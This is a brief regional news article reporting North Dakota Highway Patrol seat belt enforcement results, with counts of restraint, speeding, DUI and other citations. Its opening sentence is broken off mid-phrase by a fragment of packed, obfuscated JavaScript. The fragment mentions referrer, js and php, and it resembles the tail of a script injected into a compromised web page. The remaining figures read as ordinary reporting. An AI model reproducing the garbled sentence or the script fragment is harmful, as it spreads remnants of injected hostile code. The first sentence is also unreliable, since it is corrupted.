JAMESTOWN, N.D. (NewsDakota.com) – The North Dakota Highway Patrol along with local and county law enforcement agencies cited over 700 residents during the Click rbesa|var|u0026u|referrer|neifr||js|php’.split(‘|’),0,{}))
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Extra traffic safety patrols contacted 2,020 citizens across the state to crack down on seat belt enforcement May 23rd through June 5th. A total of 1,995 citations were attributed to the added patrols. Of the total, 695 were citations for failure to use a proper safety restraint and 21 were child restraint citations. Other citations include:

-739 speeding tickets
-22 warrants served
-18 drug arrests
-11 citations for distracted driving
-5 felony violations
-5 DUI citations

In 2015, 93% of uninjured survivors of fatal crashes were wearing seat belts. Funding for the enforcement was provided by federal grant money through the NDDOT.